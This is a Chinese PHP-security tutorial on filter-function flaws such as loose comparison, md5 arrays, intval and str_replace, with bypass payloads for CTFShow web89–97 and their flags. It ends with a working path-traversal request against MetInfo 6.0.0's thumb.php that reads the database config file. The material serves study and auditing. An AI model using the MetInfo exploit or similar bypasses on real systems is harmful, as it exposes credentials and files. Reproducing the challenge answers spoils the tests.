WEB攻防-PHP特性&缺陷对比函数&CTF考点&CMS审计实例
#知识点:
1、过滤函数缺陷绕过
2、CTF考点与代码审计
#详细点:
==与===
md5
intval
strpos
in_array
preg_match
str_replace
一、原理-缺陷函数-使用讲解-本地
1、等于与全等
松散比较:使用两个等号 ==比较,只比较值,不比较类型。
严格比较:用三个等号 ===比较,除了比较值,也比较类型。
等于 == ,当等号两边为相同类型时,直接比较值是否相等,当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较。
全等 === ,在进行比较的时候,首先判断等号两边的类型是否相等,如果不同,则直接返回 false,如果相同,再比较值是否相等。
当字符串与数字比较时,首先将字符串转换为数字,不能转换为数字的字符串或 NULL ,被转换为0。
例如, “abc” 是不能转换为数字的字符串,而 “123” 、“123a” 、“0x12” 或 “2e3” 是可以转换为数字的字符串。==为弱相等,也就是说12==“12” --> true,而且12==“12cdf” --> true,只取字符串中开头的整数部分,但是1e3dgf这样的字符串在比较时,取的是符合科学计数法的部分:1e3,也就是1000。
PHP 手册中相关描述如下:
如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。
一个字符串的开始部分决定了它转化成数值后的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。
在进行比较运算时,如果遇到了 " 0e\d+ " 这种字符串,PHP 就会将这种字符串解析为科学计数法。
<?php
header("Content-Type:text/html;charset=utf-8");
$flag='yesxp';
$a=1;
if($a==$_GET['x']){
echo $flag;
}
$a='1';
if($a===$_GET['y']){
echo $flag;
}
?>
使用“==”时,访问该php文件输入x参数可以如下,皆可输出flag:
http://127.0.0.1/blog/phpexample.php?x=1
http://127.0.0.1/blog/phpexample.php?x=1.0
http://127.0.0.1/blog/phpexample.php?x=1a
http://127.0.0.1/blog/phpexample.php?x=1e0
2、MD5函数缺陷绕过
PHP在处理哈希字符串的时候,把每一个以0e开头并且后面字符均为纯数字的哈希值都解析为0。
有两种方法绕过:
1、md5()函数无法处理数组,如果传入的为数组,会返回NULL,所以两个数组经过加密后得到的都是NULL,也就是相等的。
2、利用==比较漏洞,如果两个字符经MD5加密后的值为 0exxxxx形式,就会被认为是科学计数法,且表示的是0*10的xxxx次方,还是零,都是相等的。
md5加密后以0e开头:
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) === MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
//等于
http://127.0.0.1/blog/phpexample.php?name=QNKCDZO&password=s878926199a
//全等
http://127.0.0.1/blog/phpexample.php?name[]=1&password[]=2
http://127.0.0.1/blog/phpexample.php?name[]=QNKCDZO&password[]=s878926199a
//报错提示
Warning: md5() expects parameter 1 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 14
Warning: md5() expects parameter 1 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 14
//flag输出
yesxp?
3、intval缺陷绕过
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
PHP 4, PHP 5, PHP 7
语法
int intval ( mixed $var [, int $base = 10 ] )
参数说明:
- $var:要转换成 integer 的数量值。
- $base:转化所使用的进制。
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
- 如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
- 如果字符串以 “0” 开始,使用 8 进制(octal);否则,
- 将使用 10 进制 (decimal)。
返回值
成功时返回 var 的 integer 值,失败时返回 0。 空的 array 返回 0,非空的 array 返回 1。
php intval ()函数直到遇上数字或正负符号开始做转换,再遇到非数字或字符串结束时(\0)结束转换。
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){
echo $flag;
}
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
echo $flag;
}
//默认十进制
http://127.0.0.1/blog/phpexample.php?n=666
http://127.0.0.1/blog/phpexample.php?n=666.0
http://127.0.0.1/blog/phpexample.php?n=+666
//八进制
http://127.0.0.1/blog/phpexample.php?n=0x29a
4、strpos()函数绕过
strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
注释:strpos() 函数是区分大小写的。
注释:该函数是二进制安全的。
相关函数:
语法
strpos(string,find,start)
参数 | 描述 |
---|
string | 必需。规定被搜索的字符串。 | find | 必需。规定要查找的字符。 | start | 可选。规定开始搜索的位置。 |
技术细节
返回值: | 返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。注释: 字符串位置从 0 开始,不是从 1 开始。 |
---|
PHP 版本: | 4+ |
$i='666';
$ii=$_GET['h'];
if(strpos($ii,$i,"0")){
echo $flag;
}
md5()如果传入为数组则返回为NULL
strpos()如果传入数组,会返回NULL
strcmp函数无法比较数组,可以使用数组绕过。
5、in_array函数参数安全
定义和用法
in_array() 函数搜索数组中是否存在指定的值。
语法
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
参数 | 描述 |
---|
needle | 必需。规定要在数组搜索的值。 | haystack | 必需。规定要搜索的数组。 | strict | 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。 |
in_array()函数检测上传文件时候,若未将第三个参数设置为true,导致攻击者构造文件名绕过服务端的检测。在忽略第三个参数即未使用严格比较,那么函数在处理字符串与数字的比较时会尝试将字符串转换为整形/浮点型来做比较,比如’12ax’会转换为12。
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
echo "yes";
}
//正常访问
http://127.0.0.1/blog/phpexample.php?i=1
//绕过访问
http://127.0.0.1/blog/phpexample.php?i=1a
6、preg_match函数绕过
语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
搜索 subject 与 pattern 给定的正则表达式的一个匹配。
参数说明:
- $pattern: 要搜索的模式,字符串形式。
- $subject: 输入字符串。
- $matches: 如果提供了参数matches,它将被填充为搜索结果。 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
- $flags:flags 可以被设置为以下标记值:
- PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。 注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
- offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个未知开始搜索(单位是字节)。
返回值
返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。
利用思路
preg_match只能处理字符串,当传入的subject是数组时会返回false
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//正常访问
http://127.0.0.1/blog/phpexample.php?num=0
//绕过访问
http://127.0.0.1/blog/phpexample.php?num[]=0
//返回内容
Warning: preg_match() expects parameter 2 to be string, array given in E:\phpstudy\PHPTutorial\WWW\blog\phpexample.php on line 36
yesxp
7、str_replace无法迭代过滤
str_replace() 函数替换字符串中的一些字符(区分大小写)。
该函数必须遵循下列规则:
- 如果搜索的字符串是一个数组,那么它将返回一个数组。
- 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换。
- 如果同时需要对某个数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,那么多余的元素将用空字符串进行替换。
- 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到的值起作用。
注释:该函数是区分大小写的。请使用 str_ireplace() 函数执行不区分大小写的搜索。
注释:该函数是二进制安全的。
语法
str_replace(find,replace,string,count)
参数 | 描述 |
---|
find | 必需。规定要查找的值。 | replace | 必需。规定替换 find 中的值的值。 | string | 必需。规定被搜索的字符串。 | count | 可选。一个变量,对替换数进行计数。 |
利用思路:str_replace只对字符串过滤一次,无法迭代过滤,构建绕过字符串。
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;
//正常访问
http://127.0.0.1/blog/phpexample.php?s=select
//绕过访问
http://127.0.0.1/blog/phpexample.php?s=sselectelect
二、实践-CTFShow-PHP特性-89-97关卡
1、https://ctf.show/challenges#web89-461
利用思路:如果输入的是数字就输出 no no no,但输出flag又需要是数字,利用数组绕过preg_match函数。
flag:ctfshow{2119ac16-b96c-4bcf-b748-08332cfdeef1}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
2、https://ctf.show/challenges#web90-462
利用思路:输入4476输出 no no no,但输入八进制的4476可以进入第二个if判断输flag,num=010574。
flag:ctfshow{e9f45e43-99ac-48b1-8bbb-5a2e697a6826}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
3、https://ctf.show/challenges#web91-463
利用思路:
?num=%0aphp,第一个if判断如果直接输入php,在第二个if判断就能执行而不会去执行else中的echo $flag;若在第一个if判断中输入%0aphp,第一个if判断多行匹配所以第二行php开头结尾可以通过第一个preg_match函数,第二个if判断preg_match函数因为输入的是%0aphp所以不是php开头所以执行else输出flag。
flag:ctfshow{3f0d356e-e2fc-4559-8033-47c1ad35cce9}
正则表达式模式修饰符,用法含义如下:
1、/g 表示该表达式将用来在输入字符串中查找所有可能的匹配,返回的结果可以是多个。如果不加/g最多只会匹配一个
2、/i 表示匹配的时候不区分大小写,这个跟其它语言的正则用法相同
3、/m 表示多行匹配。
4、/s 与/m相对,单行模式匹配。
5、/e 可执行模式,此为PHP专有参数,例如preg_replace函数。
6、/x 忽略空白模式。
这些修饰符是可以混合使用,例如 /ig、/ie等。
^php 以php开头
php$ 以php结尾
^php$ 以php开头并以php结尾
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
4、https://ctf.show/challenges#web93-465
利用思路:输入4476的八进制数num=010574
flag:ctfshow{313a2306-a5e5-4d0f-bc6c-34d154328b1c}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
5、https://ctf.show/challenges#web94-466
利用思路:num=%0A010574,关键判断在于if(!strpos($num, “0”)),首先直接输入010574的话,那么strpos($num, “0”)返回值就是0,非0就是1,则该if条件下的语句会被执行,如果让其返回值不等于0,等于1然后非1就是0不会被执行。
!1 = 0, !0 = 1
!x = 0 (x为任意非零数值)
!0 = 1 (0的否定则通常为1,不会是其他数值)
flag:ctfshow{881af7a0-466c-42d9-847a-a2830a243add}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
6、https://ctf.show/challenges#web95-467
利用思路:最后需要验证8进制数全等4476,也就是010574,采取以下方式皆可。
num=%20010574
num=%0A010574
num=+010574 (加号字符占位)
num=%09010574 (tab)
num=%2b010574 (%2b是+的url编码)
flag:ctfshow{a3b475d0-8b7b-4a90-8521-06ad786c4430}
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
7、https://ctf.show/challenges#web96-468
利用思路:u=./flag.php,linux中表示当前目录是 ./ ,既满足了不等于flag.php,又能读到当前目录下的flag.php中的内容。
flag:ctfshow{5cef9420-8abf-4d75-957a-e2b54b3f690a}
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
8、https://ctf.show/challenges#web97-469
利用思路:利用MD5函数缺陷绕过,全等用数组形式发送数据过去即可
a[]=1&b[]=2
//返回内容
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
Warning: md5() expects parameter 1 to be string, array given in /var/www/html/index.php on line 17
ctfshow{d30464bc-0e36-437a-95c9-cae308eeb726}
flag:ctfshow{d30464bc-0e36-437a-95c9-cae308eeb726}
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
三、实践-代码审计-过滤缺陷-文件读取
以本地搭建的MetInfo网站为例:CMS任意文件读取漏洞
class old_thumb extends web{
public function doshow(){
global $_M;
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
old_thumb 类中的doshow方法:
过滤../和./两个特殊字符,要求字符必须以http开头,并且不能检测到./字符
然后读取文件内容
绕过方法:
//调用了该函数的页面文件
http://127.0.0.1/MetInfo6.0.0/include/thumb.php
//利用方式1:
GET /MetInfo6.0.0/include/thumb.php?dir=.....///http/.....//\config\config_db.php
//过滤后的访问请求:
../http/..\config\config_db.php
//利用方式2:
GET /MetInfo6.0.0/include/thumb.php?dir=http\..\..\config\config_db.php
//过滤后的访问请求:
http\..\..\config\config_db.php
四、相关资源
红日安全
https://github.com/hongriSec/PHP-Audit-Labs
|